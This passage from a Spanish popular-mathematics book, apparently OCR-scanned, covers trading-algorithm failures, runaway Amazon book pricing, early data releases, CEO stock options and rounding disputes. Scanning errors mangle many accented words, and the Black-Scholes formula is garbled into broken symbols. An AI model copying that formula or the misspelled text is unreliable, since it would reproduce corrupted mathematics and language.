cuando tenia que utilizar el simbolo de diez unidades utiliza el de una. Diria que yo mismo he
cometido errores de ese tipo cuando pongo al dia mi contabilidad. Como especie, somos bastante
buenos con las matematicas, pero no hemos mejorado durante los ultimos milenios. Estoy seguro
de que si pudiéramos comprobar cémo haran matematicas los humanos dentro de cinco mil afos,
seguiran cometiendo los mismos errores. Y seguramente seguiran teniendo cerveza.

A veces, cuando me bebo una cerveza, me gusta recordar a Kushim trabajando en el almacén
de cerveza con Nisa supervisandole. Lo que ellos, y otros como ellos, estaban haciendo condujo a
la escritura y las matematicas modernas. No tenian ni idea de lo importante que acabaron siendo,
tanto ellos como la cerveza, para el desarrollo de la civilizacion humana. Como ya he dicho, vivir
en ciudades fue una de las causas que provocaron que los humanos tuvieran que depender de las
matematicas. Pero ;qué faceta de la vida en la ciudad es recordada en nuestros documentos
matematicos que han sobrevivido mas tiempo? La fabricacién de cerveza. Gracias a ella
disponemos de algunos de los primeros calculos realizados por los seres humanos. Y la cerveza
contintia ayudandonos a cometer errores en la actualidad.
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Tanto Nisa como Kushim han cometido un error matematico en esta tabla.

Errores monetarios informatizados



Nuestros sistemas financieros modernos son controlados desde ordenadores, lo que permite a los
seres humanos cometer errores financieros con mas eficiencia y rapidez que nunca. A medida que
los ordenadores se han ido desarrollando han dado lugar a las transacciones bursatiles de alta
velocidad, en los que un tnico cliente con una bolsa de valores puede colocar cien mil 6rdenes
por segundo. Por supuesto, ningiin ser humano puede tomar decisiones a esa velocidad, son fruto
de algoritmos de transaccion de alta frecuencia en los que los operadores introducen unos
requerimientos en los programas informaticos que han disefiado para que decidan de forma
automatica exactamente cuando y como comprar y vender.

Tradicionalmente, los mercados financieros han sido una forma de combinar ideas y
conocimientos de miles de personas diferentes que comercian simultineamente; los precios son el
resultado acumulativo del trabajo de todas esas mentes. Si cualquier producto financiero empieza
a desviarse de su valor real, los operadores intentaran explotar esa ligera diferencia, y esto dara
como resultado una fuerza que impulsa los precios hacia su valor «correcto». Pero cuando el
mercado se convierte en un enjambre de algoritmos comerciales de alta velocidad, las cosas
empiezan a cambiar.

En teoria, el resultado de los algoritmos comerciales de alta frecuencia deberia ser el mismo
que los resultados obtenidos por las personas que negociaran en alta frecuencia, para sincronizar
los precios en diferentes mercados y reducir la diferencia entre el precio de compra y el de venta
de los valores negociados, pero en una escala mas reducida. Los algoritmos automaticos estan
escritos para explotar las diferencias mas pequenas de precio y para responder en milisegundos.
Pero, si en los algoritmos hay errores, las cosas pueden salir mal a gran escala.

El 1 de agosto de 2012, uno de los algoritmos de la empresa de servicios financieros Knight
Capital no funcionaba como era debido. La empresa actuaba como un «creador de mercado», que
viene a ser como una especie de casa de cambio de divisas a lo grande, pero para las acciones.
Una casa de intercambio de divisas gana dinero porque venden las divisas a un precio menor a
cambio de que entregan el dinero instantaneamente. Luego esperan a realizar el cambio hasta que
lo pueden vender a un precio mayor a alguien que viene mas tarde y pide ese tipo de divisa. Esta
es la razon por la que se ven casas de cambio de divisas para turistas que tienen precios de venta
y compra diferentes para la misma moneda. Knight Capital hacia lo mismo, pero con acciones, y
en ocasiones podia revender una accion que acababa de comprar hacia menos de un segundo.

En agosto de 2012, la bolsa de Nueva York inici6é un nuevo programa de liquidez minorista,
lo que quiere decir que, en algunas situaciones, los operadores pueden ofrecer acciones a precios
ligeramente mejores para vendérselas a los compradores minoristas. Este programa de liquidez
minorista recibid la aprobacion regulatoria solo un mes antes de empezar a funcionar. Knight
Capital se apresur6 a actualizar sus algoritmos de alta frecuencia para operar en este entorno
financiero ligeramente diferente. Pero, durante la actualizacidn, de alguna forma Knight Capital
hizo que el codigo fallase.

Tan pronto como empez6 a funcionar, el software de Knight Capital empez6 a comprar
acciones de 154 compafiias diferentes de la bolsa de Nueva York por mas de lo que las podria
vender luego. Lo apagaron al cabo de una hora, pero, una vez que pasoé la tormenta, Knigh Capital
habia acumulado unas pérdidas en un solo dia de 461,1 millones de dolares, mias o menos el
beneficio que habian obtenido durante los dos afios anteriores.



Nunca se han hecho publicos los detalles sobre qué fue exactamente lo que fall6. Una teoria
es que el principal programa de trading activd accidentalmente algin codigo de prueba antiguo
que nunca se disefid para que realizara transacciones, y eso concuerda con el rumor que circuld en
el ambiente de esa época de que el error se produjo por culpa de «una linea de codigo». Sea cual
fuera la razon, un error en los algoritmos tuvo consecuencias muy muy reales. Knight Capital tuvo
que librarse de las acciones que habia comprado accidentalmente a Goldman Sachs a precios de
descuento y luego fueron rescatados por un grupo en el que estaba el banco de inversion Jefferies
a cambio de ser propietarios del 73 % de la empresa. Tres cuartas partes de esta se perdieron por
culpa de una linea de codigo.

Pero eso es consecuencia Unicamente de una mala programacién. Y, seamos sinceros, las
finanzas no son el Unico campo en el que un codigo escrito deficientemente puede causar
problemas. Un codigo defectuoso puede crear problemas practicamente en cualquier parte. Los
algoritmos de transacciones automaticas tienen un mayor interés en un escenario econdomico
cuando empiezan a interactuar. Se supone que la compleja red de algoritmos realizando
transacciones entre ellos mismos deberian mantener estable el mercado. Hasta que alguno cae en
algin desafortunado bucle de retroalimentacion y se produce un nuevo desastre financiero con la
consecuente caida repentina de la bolsa.

El 6 de mayo de 2010, el indice Dow Jones cayo un 9 %. Si se hubiera quedado ahi, habria
sido la caida mas grande del Dow Jones producida en un solo dia desde los cracs de 1929 y 1987.
Pero no se quedd ahi. En pocos minutos, los precios rebotaron hasta alcanzar su estado normal y
el Dow Jones acabd el dia solo un 3 % por debajo del nivel con el que inici6 la jornada. Después
de un inicio irregular, el crac se produjo entre las 14.40 hy las 15.00 h, hora local de Nueva York.

Menudos veinte minutos. Dos mil millones de acciones con un volumen total de mas de
56.000 millones fueron negociados. Mas de veinte mil transacciones se produjeron a un precio
que estaba a mas de un 60 % de lo que marcaba el mercado a las 14.40 h. Y muchas de esas
transacciones fueron a «precios irracionales» tan bajos como 0,01 dodlares o tan altas como
100.000 dolares por accion. De repente, el mercado se habia vuelto loco. Pero entonces, casi
igual de rapido, se tranquilizd y volvié a su estado normal. Se desatd una rafaga de excitacion
extrema que finalizo tan rapido como empezd, el Harlem Shake de los cracs financieros.”

Aun se esta discutiendo sobre qué fue lo que provoco la caida de la bolsa en 2010. Se oyeron
acusaciones de que el culpable fue un error de «dedos gordosy», pero no salié a la luz ninguna
prueba de ello. La mejor explicacion que encuentro es el informe oficial conjunto dado a conocer
por la US Commodity Futures Trading Commission y por la US Securities and Exchange
Commission el 30 de septiembre de 2010. Su explicacion no ha sido aceptada por todo el mundo,
pero creo que es la mejor que tenemos.
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Parece ser que un operador decidio vender un montdn de «futuros» en un mercado financiero
de Chicago. Los futuros son contratos para comprar o vender algo en el futuro a un precio
acordado previamente; estos contratos también pueden ser comprados y vendidos. Son un
producto financiero derivado muy interesante, pero las complejidades de su funcionamiento no son
relevantes para este libro. Lo que si lo es es que el operador decidié vender 75.000 de estos
contratos, llamados E-Minis (con un valor aproximado de unos 4.100 millones de dolares) de
golpe. Fue la tercera venta mas grande de los ultimos doce meses. Pero, mientras las otras dos se
habian realizado de forma gradual a lo largo de un dia, esta se realiz6 en tan solo veinte minutos.

Las ventas de este tamafio se pueden hacer de formas diferentes y, si se hacen de forma
gradual (bajo la supervision de un operador), suelen ser correctas. Esta venta utilizo un simple
algoritmo de venta para todo el lote, y estaba basado tnicamente en el volumen de transacciones
de ese momento, sin ninguna referencia a cudl deberia ser el precio o lo rdpido que tenian que
realizarse las ventas.

El 6 de mayo de 2010, el mercado ya era algo fragil debido a la crisis de la creciente deuda
griega y por las elecciones generales del Reino Unido. La repentina y desafiante puesta en
circulaciéon de los E-Minis se dio de bruces contra el mercado y sembrd el caos entre los
operadores de alta frecuencia. Los contratos de futuros que se habian vendido pronto inundaron
cualquier demanda natural y los operadores de alta frecuencia empezaron a intercambiarlos entre
ellos. En los catorce segundos que pasaron entre las 14.45.13 y las 14.45.27, mas de 27.000
contratos pasaron de una mano a otra de estos operadores automaticos. Esto por si solo igual6 el
volumen de todas las demas transacciones.

Este caos afectd a otros mercados. Pero, entonces, casi tan réapido como empezd, los
mercados recuperaron su posicion normal a medida que los algoritmos de alta frecuencia se las
arreglaron solos. Algunos de ellos tenian incorporado un interruptor de seguridad que suspendia
las interacciones cuando los precios fluctuaban demasiado y se reiniciaban solo después de que se
comprobara lo que estaba sucediendo. Algunos operadores supusieron que algo catastréfico habia
ocurrido en algin lugar del mundo de lo que todavia no habian oido hablar. Pero habia sido tan
solo la interaccion de algoritmos automaticos. El gran cortocircuito.



La mosca en el algoritmo

Tengo una copia del libro «mas caro del mundo». Ahora mismo estoy sentado en mi escritorio
frente a una copia de The Making of a Fly. Es un libro académico sobre genética y una vez
aparecio listado en Amazon al precio de 23.698.655,93 ddlares (mas 3,99 doélares por el envio).

Pero yo me las arreglé para comprarlo con un descuento bastante importante del 99,9999423
%. Hasta donde yo sé, The Making of a Fly nunca se vendio por 23 millones de ddlares; solo fue
listado a ese precio. E incluso si se hubiera vendido a ese precio, un montén de gente considera
que uno de los diarios de Leonardo da Vinci, que Bill Gates compré por 30,8 millones de dolares,
es el libro mas caro jamas vendido. Esta claro que, ademas de compartir la aficién por los dados
no transitivos, Bill y yo también compartimos otra: el material de lectura caro. Creo que The
Making of a Fly ostenta el récord del precio legal mas alto pedido por un libro del que existe mas
de un ejemplar. Por suerte, mi copia me costd solo 10,07 libras (unos 13,68 doélares de la época).
Y el envio fue gratuito.

I PETER A.LAWEENCE

El libro mas caro cuyo precio no he pagado gracias al descuento.

The Making of a Fly alcanz6 su precio maximo en 2011 en Amazon cuando dos vendedores,
bordeebook y profnath, sacaron nuevas copias a la venta Unicamente en Estados Unidos. Hay
sistemas que permiten establecer un precio algoritmicamente en Amazon, y parece ser que, para
poner su precio, profnath utilizé la sencilla regla de «pon un precio para mi libro que sea un 0,07
% mas barato que el precio mas bajo de todos». Seguramente, esos vendedores tenian una copia
de The Making of a Fly y decidieron que querian venderla siendo el libro listado mas barato de
Amazon por un margen muy pequefio. Como el concursante de El precio justo que siempre pone un
dolar mas que los demas, son idiotas, pero cumplen con las normas.

Sin embargo, el vendedor bordeebook queria ponerlo mas caro con un margen decente, y su
regla seguramente fue algo asi como «pon un precio para mi libro que sea un 27 % mas que la
opcion mas barata existente». Una posible explicacion de esto es que bordeebook no tuviera
realmente una copia del libro, pero sabia que si alguien lo compraba a través de ¢l tendria un



margen suficiente para poder encontrarlo y comprar una copia mas barata que entonces podria
revender. Vendedores como este confian en sus excelentes comentarios dejados por otros clientes
para atraer a los compradores recelosos felices de pagar mas por un extra de confianza.

Si hubiera habido otro libro a un precio fijo, esto habria funcionado a la perfeccion: la copia
de profnath seria ligeramente mas barata que el tercer libro y la de bordeebook seria mucho mas
cara. Pero, dado que solo habia dos libros, los precios crearon un circulo vicioso, haciendo
aumentar el precio del otro: 1,27 x 0,9983 = 1,268, por lo que los precios subian mis o menos un
26,8 % cada vez que los algortimos completaban un ciclo, alcanzando finalmente decenas de
millones de ddlares. Evidentemente, profnath se debi6 dar cuenta (o su algortimo alcanzd un limite
superior descabellado) porque su precio bajé a una cantidad mucho mas normal de 106,23
dolares, y rapidamente, el precio de bordeebook bajo en consonancia.

Michael Eisen y sus colegas de la Universidad de California, en Berkeley, se dieron cuenta
del escandaloso precio de The Making of a Fly. Utilizaban moscas de la fruta en su investigacion
y necesitaban este titulo como referencia académica. Se quedaron estupefactos al ver dos copias a
la venta con un precio de 1.730.045,91 y 2.198.177,95 dolares, y cada dia los precios
aumentaban. Logicamente, dejaron aparcada la investigacion biologica e iniciaron una hoja de
calculo en la que anotaban los precios cambiantes de Amazon, desentrafiando las ratios que
estaban utilizando profnath y bordeebook (bordeebook estaba utilizando la ratio especifica de
27,0589 %), demostrando una vez mas que existen muy pocos problemas en la vida que no se
puedan resolver con una hoja de calculo.

Una vez corregido el precio de The Making of a Fly, el colega de Eisen pudo comprar una
copia del libro a un precio normal y el laboratorio retomé su investigacion, con la que intentaban
comprender cémo funcionan los genes, en lugar de los algoritmos de precios de ingenieria inversa.
Y yo me quedo con mi copia de The Making of a Fly (que compré de segunda mano; aun estando a
un «precio normaly, los libros de texto estadounidenses escapan de mi presupuesto). Incluso me
esforcé todo lo que pude para leerlo. Supuse que debia existir algin vinculo entre lo que le
sucedio al precio del libro y como los algoritmos genéticos hacen crecer a las moscas. Podria
concluir la seccion con una frase del libro. Esta es 1a mejor que he podido encontrar:

Los estudios de crecimiento de este tipo dan la impresion de que existe algiin control matematicamente
exacto que opera de forma independiente en las diferentes partes corporales.
The Making of a Fly, Peter Lawrence (pag. 50)

Creo que todos podemos aprender algo de esta historia. En mi caso, la compra del libro es,
técnicamente, deducible de impuestos, aunque seguramente no a partir del precio original.

Y ellos también se habrian librado de la carcel si no fuera por la intromision
de las leyes de la fisica

En las operaciones de bolsa de alta velocidad, los datos son los reyes. Si un operador posee
informacion exclusiva sobre como va a evolucionar el precio de una materia prima, puede colocar
ordenes antes de que el mercado cambie para ajustarse. O, mejor aun, los datos pueden ir
directamente a un algoritmo que puede colocar la orden, tomando decisiones a velocidades



increibles. Aqui, el tiempo se mide en milisegundos. En 2015, Hibernia Networks se gastd 300
millones de doélares colocando un cable de fibra optica entre Nueva York y Londres para intentar
reducir los tiempos de comunicacion en 6 milisegundos. Pueden ocurrir un monton de cosas en una
milésima de segundo. No le digo en seis.

Para los datos financieros, el tiempo es, literalmente, dinero. La Universidad de Michigan
publica un Indice de Confianza del Consumidor, que es una medida de como los estadounidenses
se sienten sobre la economia (obtenido después de telefonear a unas quinientas personas y
hacerles una serie de preguntas), y esta informacion puede influir directamente en los mercados
financieros. Por lo que era importante como se presentaban estos datos. Una vez que las nuevas
cifras estaban ya preparadas, Thomson Reuters las colgaba en su pagina web publica, exactamente
a las diez de la mafiana para que todo el mundo pudiera acceder a ellas al mismo tiempo. A
cambio de este compromiso exclusivo (ofrecer los datos gratis), Thomson Reuters pagaba a la
Universidad de Michigan algo mas de un millon de dolares.

(Por qué pagaban si luego ofrecian los datos de forma gratuita? En el contrato, a Thomson
Reuters se le permitia enviar los niimeros cinco minutos antes a sus suscriptores. Asi que
cualquiera que pagara para subscribirse a Thomson Reuters podia obtener el dato cinco minutos
antes que el resto del mercado y empezar a realizar transacciones en consecuencia. Y los
suscriptores de su «plataforma de distribucion con latencia ultrabaja» recibian los datos dos
segundos antes, a las 9.54.58 (mas-menos medio segundo), preparados para introducirlos en los
algoritmos de comercio. En el primer medio segundo después de que se envien estos datos, mas de
40 millones en transacciones se pueden haber producido en un tnico fondo. Los tontos que
esperaban a obtener los datos gratis a las diez de la mafiana se encontraban con que el mercado ya
se habia ajustado.

e — a
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Si este anuncio de Thomson Reuters es un diagrama de Venn, es sorprendentemente honesto.

La ética (y la legalidad) son un poco borrosas. Las instituciones privadas pueden liberar sus
propios datos como quieran mientras estos sean transparentes.

Y Thomson Reuters incluso tenia una pagina de su sitio web en la que mencionaba esos
tiempos, su equivalente web a cruzar los dedos tras la espalda esperando que nadie se dé cuenta.
La practica solo se hizo publica cuando la CNBC (Consumer News and Business Channel) saco



una noticia sobre el tema en 2013, y no mucho después de que esa practica se dejara de hacer.

La norma sobre la difusién de datos gubernamentales es mucho mas concreta: no se le
permite absolutamente a nadie comerciar con ellos antes de que se difundan a todo el mundo de
forma simultanea. Cuando la Reserva Federal de Estados Unidos anuncia algo, por ejemplo si va a
continuar con un programa de compra de bonos, esa noticia puede causar un gran impacto en los
precios de los mercados financieros. Si alguien conociera esas noticias por adelantado, podria
empezar a comprar cosas cuyo valor iba a subir.

Por lo que la Reserva Federal controla estrechamente la difusion de dicha informacion desde
sus cuarteles generales en Washington D. C. Por ejemplo, cuando se iba a hacer publico un
anuncio el 18 de septiembre de 2013, exactamente a las dos de la tarde, los periodistas tuvieron
que entrar en una habitacion especial en los edificios de la Reserva Federal, que se cerraron a las
13.45 h. Se entregaron copias impresas de las noticias a las 13.50 h y se les dio tiempo para
leerlas.

Alas 13.58 h, a los periodistas de television se les permiti6é salir a un balcon concreto en el
que estaban preparadas sus camaras. Momentos antes de las dos de la tarde, los periodistas de la
prensa escrita podian establecer una conexion telefonica con sus editores, pero todavia no podian
comunicarse con ellos. Exactamente a la 14.00 h, como si la hora se midiese con un reloj atomico,
se podia difundir la informacion. Los operadores financieros de todo el mundo quieren ser los
primeros en recibir datos como estos. Si un operador de Chicago puede recibir los datos incluso
milisegundos antes que sus competidores, eso le dard una ventaja. Pero ;a qué velocidad pueden
viajar los datos?

Las dos tecnologias competidoras son los cables de fibra optica y la radiocomunicacién por
microondas. La luz a través de un cable de fibra Optica viaja alrededor de un 69 % de la
velocidad maxima de la luz en el vacio, la cual sigue siendo vertiginosamente rapida, recorriendo
unos 200.000 kilémetros cada segundo. La radiocomunicacion por microondas a través del aire
alcanza casi la velocidad maxima de la luz: 299.792 kilémetros por segundo, pero tiene que ser
transmitida desde una estacion base a otra para tener en consideracion la curvatura de la Tierra.

También aparecen problemas a la hora de decidir donde se han de construir las estaciones
base para microondas y donde se puede colocar el cable de fibra dptica. Por lo que el camino
entre Washington D. C. y Chicago que recorren los datos no es la ruta mas corta posible. Pero,
para conseguir un limite inferior, podemos suponer que los datos siguen la linea mas corta entre el
edificio de la Reserva Federal en Washington D. C. y el edificio de la Bolsa Mercantil de Chicago
(955,65 kildmetros) a la velocidad maxima de la luz (y los nuevos cables de fibra optica de
nucleo hueco pueden alcanzar el 99,7 % de la velocidad de la luz) y tardan un tiempo de 3,19
milisegundos. Un célculo parecido para la ruta mas corta entre Washington D. C. y la ciudad de
Nueva York da 1,09 milisegundos.

Esos tiempos suponen que los datos viajan por el cable de fibra 6ptica siguiendo la curvatura
de la Tierra. El viaje en linea recta seria relativamente mas rapido. Ya existen sistemas de
comunicacion por laser de «linea de vision» para los datos financieros en los que los puntos
iniciales y finales no tienen mas que aire entre ellos, por ejemplo los que intercambian
informacion entre edificios de Nueva York y Nueva Jersey. Para viajar entre Washington D. C. y
Chicago, necesitarian ir por dentro de la Tierra.



Pero esto no esta fuera de la cuestion. Los fisicos han descubierto particulas exéticas como
los neutrinos que se pueden mover a través de la materia normal casi sin impedimentos.
Detectarlas en el otro extremo seria un reto tecnoldgico importante, pero un sistema como ese que
disparase datos a través del planeta a la velocidad de la luz es fisicamente verosimil. Sin
embargo, esto recortaria tan solo 3 milisegundos el trayecto entre Washington D. C. y Chicago (e
incluso menos en el de Nueva York). El tiempo mas rapido posible para que viajen los datos entre
el edificio de la Reserva Federal que permiten las leyes de la fisica son 3,18 milisegundos a
Chicago y 1,09 a Nueva York.

Un laser preparado para disparar datos financieros entre ciudades. Tiene el récord mundial por ser el rayo
laser mas aburrido de la historia.

Todo esto hace que parezca sospechoso que las transacciones en Chicago y Nueva York se
produjeran de forma simultanea a las 14 h, cuando los datos de la Reserva Federal se difundieron
el 18 de septiembre de 2013. Pero si los datos venian desde Washington D. C., entonces los
mercados de Nueva York deberian haberse movido ligeramente antes que los mercados de
Chicago. Parece que les hubieran dado los datos mas pronto e intentaran dar la impresion de que
estaban operando desde el primer instante posible, excepto que se olvidaron de las leyes de la
fisica. jFraude descubierto gracias a la velocidad finita de la luz!

Bueno, digo «fraude descubierto» pero no salié nada en claro de todo esto. No se descubrio
quién estaba realizando estas transacciones y quién le envid los datos. Y también hubo mucha
confusion no resuelta sobre si el hecho de mover datos a un ordenador externo pero no difundirlos
hasta las dos de la tarde estaba estrictamente prohibido por las normas de la Reserva Federal.
Parece ser que las leyes de las finanzas son mucho mas flexibles que las reglas de la fisica.

Confusiones matematicas

Seria negligente por mi parte no decir algo sobre la crisis financiera global de 2007-2008.
Empezo6 con la crisis de los préstamos hipotecarios de alto riesgo en Estados Unidos y luego se
propagd rapidamente a paises de todo el mundo. Y hay algunos pedacitos interesantes de
matematicas que la alimentaron. Personalmente, mis favoritos son los productos financieros



conocidos como obligaciones de deuda garantizada (CDO por sus siglas en inglés). Una CDO
agrupa un conjunto de inversiones arriesgadas con la suposicion de que no pueden fallar todas
juntas.

Spoiler: todas fueron mal. Dado que las CDO podian contener otras CDO, se cre6 una
telarafia matematica que muy pocas personas podian entender. Me encantan las matematicas que
hago, pero mirando atrds la crisis financiera global en su conjunto, no puedo asegurar que
comprenda qué fue lo que salié mal. Si quiere profundizar en este tema, hay innumerables libros
dedicados exclusivamente a este asunto. O (si tiene la edad suficiente) puede ver la pelicula La
gran apuesta. No diré nada sobre el tema; en su lugar, hablaré sobre un ejemplo mucho mas
interesante y concreto de personas que no entienden las matematicas: los consejos de las empresas
dando bonus econdémicos a sus directores ejecutivos (CEO por sus siglas en inglés), es decir, las
personas a cargo de las compaiiias.

Un CEO en Estados Unidos puede ganar cantidades increibles de dinero, a veces decenas de
millones de dolares por afio. Antes de la década de 1990, solo los CEO fundadores o propietarios
de una empresa ganaban esos «sueldazos», pero, entre 1992 y 2001, el CEO promedio del indice
S&P 500 en Estados Unidos pasé de los 2,9 millones de dolares por afio a los 9,3 millones (al
precio del dolar de 2011). Un incremento del triple en una década. Y luego la explosion se detuvo.
Una década después, en 2011, el CEO promedio seguia cobrando alrededor de 9 millones de
dolares.

Algunos investigadores de la Universidad de Chicago y de Dartmouth College se percataron
de que, durante la explosion de los sueldos, los salarios reales e incluso los valores de las
acciones dadas a los CEO no aumentaban de forma parecida. El boom procedia de la
remuneracion que se le daba a los CEO en una forma particular: las stock options.

Una stock option es un contrato que le permite a alguien comprar unas ciertas acciones en el
futuro a un precio «fijado» preacordado. Por lo que si obtienes una stock option para comprar
ciertas acciones de una empresa a 100 ddlares en el plazo de un afo, y el precio de la accion sube
durante el afo a 120 dolares, significa que ahora puedes ejercer tu opcion y comprar la accidon por
100 dolares y venderla inmediatamente en el mercado abierto por 120 dolares. Si el precio de la
accion baja a 80 dodlares, entonces no la ejerces y no compras nada. Por lo que la stock option
tiene un valor en si misma: solo puedes ganar dinero (o quedarte igual). Motivo por el cual hay
que pagar por ellas primero y pueden ser vendidas después.

El calculo del valor de las stock options no es directo y solo se desarrolld relativamente
hace poco, en 1973, con la formula Black-Scholes-Merton. Black fallecid, pero Scholes y Merton
ganaron el premio Nobel de economia en 1997 por su formula. Fijar el precio de las stock options
implica tener en cuenta cosas como calcular con qué probabilidad el valor de la accién cambiara
y cuanto interés se puede haber generado con el dinero gastado en la opcion, y todo eso es
factible. Finaliza con una férmula de apariencia enrevesada. Y aqui es donde los consejos de
administracion de las empresas empezaron a ir mal.

La relacion directa entre el nimero de stock options y el valor que se le estaba abonando al
CEO no fue obvia para todos los directores desde el principio. Fijese en qué ocurre cuando
comparamos otros tipos de compensaciones con sus valores reales:

Valor del sueldo = [cantidad de ddlares] x 1 ddlar



Valor de la accion = [cantidad de acciones] x [valor por accion]

Valor de las stock options =
[nimero de stock options] % § IN(Z)— e TN(Z - o~ T]

donde

~

(%)

oT

=

S = precio actual de la stock option

T = tiempo que ha de pasar para que se pueda ejercer la stock option

r = tasa de interés libre de riesgos

N = distribucion normal predeterminada acumulativa

o = volatibilidad o rentabilidad de la tasa de cambio de la accidn (calculado con la desviacion estandar)

Aunque parece compleja, la version abreviada es que S delante significa que el valor de las
stock options escala con el valor actual de la accion. Pero, aunque los comités ejecutivos
redujeron el nimero de acciones que daban a los CEO cuando los valores de esas acciones
subian, la investigacion de la Universidad de Chicago y de Dartmouth College demostrd que los
comités ejecutivos sufrieron una especie de «rigidez numérica» al conceder las stock options: el
namero que concedieron fue sorprendentemente rigido. Incluso después de una division de
acciones, cuando a los CEO se les dio el doble de acciones para compensar que la accion valia la
mitad, el nimero de stock options no cambid. Los consejos administrativos siguieron dando el
mismo numero de stock options, ignorando, al parecer, su valor. Y durante la década de 1990 y a
inicios de la del 2000 el valor subi6 un monton.

Y entonces, en 2006, un cambio en la reglamentacion hizo que las empresas tuvieran que
utilizar la formula Black-Scholes-Merton para declarar el valor de las stock options que estaban
pagando a sus CEO. Una vez que las matematicas fueron obligatorias y los consejos de
administracion se vieron obligados a fijarse en el valor real de las stock options, la rigidez
numérica desaparecid y las opciones se ajustaron basdndose en su valor. La explosion de los
salarios de los CEO se detuvo. Esto no quiere decir que se redujera hasta los niveles anteriores a
la explosion: una vez establecidos, las fuerzas del mercado no permitirian que el nivel cayese. Los
cuantiosos paquetes salariales de los CEO que se siguen otorgando en la actualidad son un fosil de
la época en la que los consejos administrativos no utilizaban las matematicas.



Nueve

REDONDEANDO

En las elecciones de 1992 celebradas en Schleswig-Holstein, Alemania, el Partido Verde obtuvo
exactamente el 5 % de los votos. Fue un hecho importante, porque los partidos que obtuvieran
menos del 5 % de los votos totales no podian tener escafios en el Parlamento. Con el 5 % de los
votos, el Partido Verde podria tener un miembro. Se produjo una gran celebracion.

Por lo menos, todo el mundo pensé que habian obtenido el 5 % de los votos, y asi fue
publicado. En realidad, habian obtenido unicamente el 4,97 % de los votos. El sistema que
presentaba los resultados redondeaba todos los porcentajes a una cifra decimal, convirtiendo el
4,97 % en 5 %. Se analizaron los votos, se encontr6 la discrepancia y los Verdes perdieron su
escafio. Por este motivo, los socialdemdcratas ganaron un escafio extra que les dio la mayoria. Un
simple redondeo cambi¢ el resultado de unas elecciones.

La politica parece tener una fuerza motivadora para que las personas traten de retorcer los
nameros tanto como puedan. Y redondear es una buena forma de exprimir un poco mas unos
nimeros que, de lo contrario, son inflexibles. Como profesor, solia plantearles a mis estudiantes
de séptimo curso preguntas como: «Si una tabla tiene 3 metros de largo (redondeando hasta el
metro mas cercano), /jcuanto mide realmente?». Bien, podria medir cualquier cifra entre 2,5
metros y 3,49 metros (o tal vez algo asi como 2,500 metros hasta 3,4999 metros, dependiendo de
las convenciones del redondeo). Parece ser que algunos politicos son tan inteligentes como un
nifio de séptimo curso.

Durante el primer afio de la presidencia de Donald Trump, su Casa Blanca intentaba derogar
la Ley de Proteccion del Paciente y Atencion Sanitaria Asequible (ACA o PPACA, por sus siglas
en inglés) conocida como Obamacare. Al hacerlo mediante legislacion y ver que era mucho mas
dificil de lo que esperaban, volvieron a redondear.

Y aunque la ACA establecia las directrices oficiales para el mercado de la salud, el
Departamento de Salud y Servicios Sociales era el responsable de redactar las regulaciones
basadas en la ACA. En febrero de 2017, este departamento, ahora controlado por Trump, escribio
a la Oficina de Administracion y Presupuesto de Estados Unidos proponiendo unos cambios en la
regulacion. Parece ser que, si la administracion Trump no podia cambiar la ACA, iba a intentar
cambiar como esta se interpretaba. Es como tratar de cumplir con las condiciones impuestas por
una orden judicial cambiando el nombre de su perro por el de «agente de libertad vigiladay.

Segiin algunos asesores y lobistas de la industria con los que contact6 el Huffington Post,
uno de los cambios era incrementar los aumentos que podian aplicar las compaiiias de seguros a
sus clientes de mayor edad. La ACA habia establecido directrices muy claras respecto a que las
compafiias de seguros no podian aumentar el precio a los clientes de mayor edad mas del triple



que la prima que abonaban los clientes jovenes. La asistencia sanitaria deberia ser un juego de
promedios, siendo su objetivo que todo el mundo compartiera la carga de manera igualitaria. La
ACA intent6 limitar cudnto se podian separar las aseguradoras de ese ideal.

Al parecer, la administracion Trump queria permitir a las compafiias de seguros aumentar a
los clientes de mas edad el precio hasta 3,49 veces mas que lo que pagaban los jovenes, utilizando
el argumento de que redondeando a la baja 3,49 nos da 3. Casi me impresiona su atrevimiento
matematico. Pero solo porque un nimero se pueda redondear y producir un nuevo valor no hace
que sea el mismo nimero. También podrian haber tachado trece de las veintisiete enmiendas de la
Constitucion alegando que nada habia cambiado, entendiendo que se habia redondeado a la
Constitucion entera mas cercana.

Este cambio propuesto por la administracion Trump nunca fue aprobado, pero si que planted
una cuestion interesante. Si la ACA dijo explicitamente «multiplo de tres, redondeado a una cifra
significativay, tendrian un argumento al que agarrarse. Existe una interesante interaccion entre las
leyes de las matematicas y la legislacion. Hace unos afios, recibi una llamada telefénica de un
abogado que queria hablar sobre redondeos y porcentajes. Estaba trabajando en un caso sobre una
patente de un producto que utilizaba una sustancia con una concentracion de un 1 %. Otros habian
empezado a fabricar un producto parecido, pero utilizando una concentraciéon del 0,77 % de la
sustancia en cuestion. El propietario de la patente original los llevé a juicio porque creian que la
cifra de 0,77 % se redondea al 1 % vy, por lo tanto, infringia su patente.

Pensé que era un tema muy interesante porque, si el redondeo se hacia, en efecto,
inocentemente al punto porcentual mas cercano, entonces, si, el 1 % incluiria el 0,77 %.
Utilizando este sistema, toda cifra entre 0,5 % y 1,5 % se redondea a 1 %. Pero, dada la
naturaleza cientifica de la patente, sospeché que estaba especificada técnicamente a una cifra
significativa. Y eso es diferente: redondear a una cifra significativa hace que todo aquello entre
0,95 % y 1,5 % pase a ser 1 %. Pero si cambiamos la definicion del redondeo, el umbral mas bajo
pasa a ser de repente mucho mas cercano y excluye el 0,77 %. Y, efectivamente, el 0,77 %
redondeado a una cifra significativa es 0,8 %. No estaria infringiendo la patente.

Fue muy divertido explicarle a un abogado coémo redondear a una cifra significativa provoca
un rango asimétrico de valores alrededor del punto de redondeo. Es una peculiaridad del modo en
que escribimos los nimeros. Cuando un niimero sube un valor posicional en nuestro sistema de
base 10, los nimeros hasta un 50 % mayores que ¢él, pero solo hasta un 5 % menores, se
redondean a ese valor. Todo lo que hay entre 99,5 y 150 se redondea para dar 100. Asi que, si
alguien le promete a usted 100 euros (una cifra significativa), puede reclamarle 149,99 euros. De
ahora en adelante, llamaré a esto «hacer un Donaldy.

Habiendo al menos intentado comprender lo que estaba diciendo, el abogado fue muy
profesional y ni siquiera me dijo a cudl de las partes del caso representaba. Simplemente fue una
leccidon improvisada sobre el redondeo. Pero unos afios después recordé esa llamada telefonica y
senti curiosidad sobre qué acabd sucediendo. Para llegar a una conclusion, busqué por todas
partes hasta que encontré el juicio y el fallo definitivo. jEl juez estaba de acuerdo conmigo!
Considerd que el nimero que aparecia en la patente tendria que haberse especificado hasta una
